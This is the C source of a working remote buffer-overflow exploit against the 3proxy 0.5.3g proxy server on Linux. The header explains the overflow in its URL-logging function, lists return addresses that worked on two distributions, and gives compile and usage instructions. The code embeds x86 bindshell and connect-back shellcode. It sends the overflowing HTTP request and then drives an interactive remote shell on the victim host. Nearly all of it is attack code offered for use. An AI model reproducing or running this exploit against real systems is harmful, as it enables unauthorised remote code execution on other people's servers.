/*[ 3proxy[v0.5.3g]: (linux) remote buffer overflow exploit. ]*** * * * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) * * * * compile: * * gcc x3proxy.c -o x3proxy * * * * syntax: * * ./x3proxy [-pscr+] -h host * * * * sumus homepage/url: * * http://3proxy.ru/ * * * * 3Proxy tiny free proxy server previously known as 3[APA3A] * * tiny freeware proxy. * * * * I just saw a (gentoo) advisory, and got curious how easy * * it would be to exploit this. The vulnerability is fairly * * trival: * * * * ----------------------------------------------------------- * * GET /[NOPS][SHELLCODE][RETADDR]\n * * Host: [FILLER]\n\n * * ----------------------------------------------------------- * * * * The length of "Host: [FILLER]" is exactly how many bytes * * past the buffer boundary it will go, if it's not there it * * won't overflow. The vulnerability can be found in proxy.c * * in the logurl() function. (buf[LINESIZE]) * * * * I didn't work out a common place to find the shellcode in * * memory. but, the following values(-r option) worked for * * me: * * 0x0805333c (gentoo/r2 0.5.3g src compile) * * 0x08054da8 (mandrake 0.5.3g src compile) * * * * It will probably be easiest to run through a debugger and * * find where the address of the shellcode is. (offsets of * * around 1500 when brute guessing) * ***************************************************************/ #include #include #ifndef __USE_BSD #define __USE_BSD #endif #include #include #include #include #include #include #include #include #include #include #include #define BUFSIZE 2200 #define TIMEOUT 10 #define DFL_PORT 3128 #define DFL_SPORT 7979 #define DFL_RETADDR 0x08048004 /* globals. */ static char x86_bind[]= /* bindshell, from netric. */ "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66" "\xcd\x80\x31\xd2\x52\x66\x68\xff\xff\x43\x66\x53\x89" "\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89" "\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52" "\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80" "\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68" "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd" "\x80"; static char x86_conn[]= /* connect-back, eSDee/netric. */ "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51" "\xb1\x02\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2" "\x31\xc0\x31\xc9\x51\x51\x68\xff\xff\xff\xff\x66\x68" "\xff\xff\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52" "\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x74" "\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3" "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31" "\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2" "\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3" "\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd" "\x80"; char *x86_ptr; struct{ unsigned int addr; signed int off; char *host; unsigned short port; unsigned short sport; }tbl; /* lonely extern. */ extern char *optarg; /* functions. */ char *getbuf(unsigned int); unsigned short proxy_connect(char *,unsigned short); signed int getshell_bind_init(unsigned short); signed int getshell_bind_accept(signed int); signed int getshell_conn(char *,unsigned short); void proc_shell(signed int); void printe(char *,short); void usage(char *); void sig_alarm(){printe("alarm/timeout hit.",1);} /* start. */ int main(int argc,char **argv){ signed int chr=0,rsock=0; unsigned int bs=0; struct hostent *t; in_addr_t s=0; printf("[*] 3proxy[v0.5.3g]: (linux) remote buffer overflow explo" "it.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n"); tbl.port=DFL_PORT; tbl.sport=DFL_SPORT; tbl.addr=DFL_RETADDR; while((chr=getopt(argc,argv,"h:p:s:c:r:+:"))!=EOF){ switch(chr){ case 'h': if(!tbl.host&&!(tbl.host=(char *)strdup(optarg))) printe("main(): allocating memory failed",1); break; case 'p': tbl.port=atoi(optarg); break; case 's': tbl.sport=atoi(optarg); break; case 'c': if((s=inet_addr(optarg))){ if((t=gethostbyname(optarg))) memcpy((char *)&s,(char *)t->h_addr,sizeof(s)); if(s==-1)s=0; if(!s)printe("invalid host/ip. (-c option)",0); } break; case 'r': sscanf(optarg,"%x",&tbl.addr); break; case '+': tbl.off=atoi(optarg); break; default: usage(argv[0]); break; } } if(!tbl.host)usage(argv[0]); /* set bind port for shellcode. */ if(!s){ bs=strlen(x86_bind); x86_bind[20]=(tbl.sport&0xff00)>>8; x86_bind[21]=(tbl.sport&0x00ff); x86_ptr=x86_bind; } /* set connect-back ip/port for shellcode. */ else{ bs=strlen(x86_conn); x86_conn[33]=(s&0x000000ff); x86_conn[34]=(s&0x0000ff00)>>8; x86_conn[35]=(s&0x00ff0000)>>16; x86_conn[36]=(s&0xff000000)>>24; x86_conn[39]=(tbl.sport&0xff00)>>8; x86_conn[40]=(tbl.sport&0x00ff); x86_ptr=x86_conn; } if(bs!=strlen(x86_ptr)) printe("ip(-c option) and/or port(-s option) appear to contain a " "null-byte, try again.",1); printf("[*] target\t\t\t: %s:%d\n",tbl.host,tbl.port); printf("[*] shellcode type\t\t: %s(port=%d)\n", (s?"connect-back":"bindshell"),tbl.sport); printf("[*] return address($eip)\t: 0x%.8x(+%d=0x%.8x)\n",tbl.addr, tbl.off,tbl.addr+tbl.off); if(s){ rsock=getshell_bind_init(tbl.sport); proxy_connect(tbl.host,tbl.port); rsock=getshell_bind_accept(rsock); } else{ proxy_connect(tbl.host,tbl.port); rsock=getshell_conn(tbl.host,tbl.sport); } if(rsock>0)proc_shell(rsock); exit(0); } /* make buf: "GET /[NOPS][SHELLCODE][RETADDR]\nHost: [FILLER]\n\n" */ char *getbuf(unsigned int addr){ unsigned int i=0; char *buf; if(!(buf=(char *)malloc(BUFSIZE+1))) printe("getbuf(): allocating memory failed.",1); strcpy(buf,"GET /"); memset(buf+5,'\x90',1800); strcat(buf,x86_ptr); for(i=strlen(buf);i<2100;i+=4){ *(long *)&buf[i]=addr; } strcat(buf,"\nHost: "); memset(buf+strlen(buf),'x',(BUFSIZE-strlen(buf)-3-2)); strcat(buf,"\n\n"); return(buf); } /* connects to the vulnerable 3proxy server. */ unsigned short proxy_connect(char *hostname,unsigned short port){ signed int sock; struct hostent *t; struct sockaddr_in s; sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s.sin_family=AF_INET; s.sin_port=htons(port); printf("[*] attempting to connect: %s:%d.\n",hostname,port); if((s.sin_addr.s_addr=inet_addr(hostname))){ if(!(t=gethostbyname(hostname))) printe("couldn't resolve hostname.",1); memcpy((char *)&s.sin_addr,(char *)t->h_addr,sizeof(s.sin_addr)); } signal(SIGALRM,sig_alarm); alarm(TIMEOUT); if(connect(sock,(struct sockaddr *)&s,sizeof(s))) printe("3proxy connection failed.",1); alarm(0); printf("[*] successfully connected: %s:%d.\n",hostname,port); sleep(1); printf("[*] sending string: \"GET /[NOPS][SHELLCODE][RETADDR]" "\\nHost: [FILLER]\\n\\n\"\n"); write(sock,getbuf(tbl.addr+tbl.off),BUFSIZE); sleep(1); printf("[*] closing connection.\n\n"); close(sock); return(0); } /* binds locally for connect-back. */ signed int getshell_bind_init(unsigned short port){ signed int ssock=0,so=1; struct sockaddr_in ssa; ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so)); #ifdef SO_REUSEPORT setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so)); #endif ssa.sin_family=AF_INET; ssa.sin_port=htons(port); ssa.sin_addr.s_addr=INADDR_ANY; if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1) printe("could not bind socket.",1); listen(ssock,1); return(ssock); } /* accepts locally for connect-back. */ signed int getshell_bind_accept(signed int ssock){ signed int sock=0; unsigned int salen=0; struct sockaddr_in sa; memset((char*)&sa,0,sizeof(struct sockaddr_in)); salen=sizeof(sa); printf("[*] awaiting connection from: *:%d.\n",tbl.sport); alarm(TIMEOUT); sock=accept(ssock,(struct sockaddr *)&sa,&salen); alarm(0); close(ssock); printf("[*] connection established. (connect-back)\n"); return(sock); } /* connects to bindshell. */ signed int getshell_conn(char *hostname,unsigned short port){ signed int sock=0; struct hostent *he; struct sockaddr_in sa; if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) printe("getshell_conn(): socket() failed.",1); sa.sin_family=AF_INET; if((sa.sin_addr.s_addr=inet_addr(hostname))){ if(!(he=gethostbyname(hostname))) printe("getshell_conn(): couldn't resolve.",1); memcpy((char *)&sa.sin_addr,(char *)he->h_addr, sizeof(sa.sin_addr)); } sa.sin_port=htons(port); signal(SIGALRM,sig_alarm); printf("[*] attempting to connect: %s:%d.\n",hostname,port); alarm(TIMEOUT); if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){ printf("[!] connection failed: %s:%d.\n",hostname,port); exit(1); } alarm(0); printf("[*] successfully connected: %s:%d.\n\n",hostname,port); return(sock); } /* process the bind/connect-back shell. */ void proc_shell(signed int sock){ signed int r=0; char buf[4096+1]; fd_set fds; signal(SIGINT,SIG_IGN); write(sock,"uname -a;id\n",13); while(1){ FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sock,&fds); if(select(sock+1,&fds,0,0,0)<1) printe("getshell(): select() failed.",1); if(FD_ISSET(0,&fds)){ if((r=read(0,buf,4096))<1) printe("getshell(): read() failed.",1); if(write(sock,buf,r)!=r) printe("getshell(): write() failed.",1); } if(FD_ISSET(sock,&fds)){ if((r=read(sock,buf,4096))<1)exit(0); write(1,buf,r); } } close(sock); return; } /* error! */ void printe(char *err,short e){ printf("[!] %s\n",err); if(e)exit(1); return; } /* usage. */ void usage(char *progname){ printf("syntax: %s [-pscr+] -h host\n\n",progname); printf(" -h \ttarget hostname/ip.\n"); printf(" -p \ttarget port.\n"); printf(" -s \tconnect-back/bind port. (shellcode)\n"); printf(" -c \tconnect-back host/ip. (enables " "connect-back)\n"); printf(" -r \tdefine return address. (0x%.8x)\n",tbl.addr); printf(" -+ \tadds to the -r option address.\n\n"); exit(0); }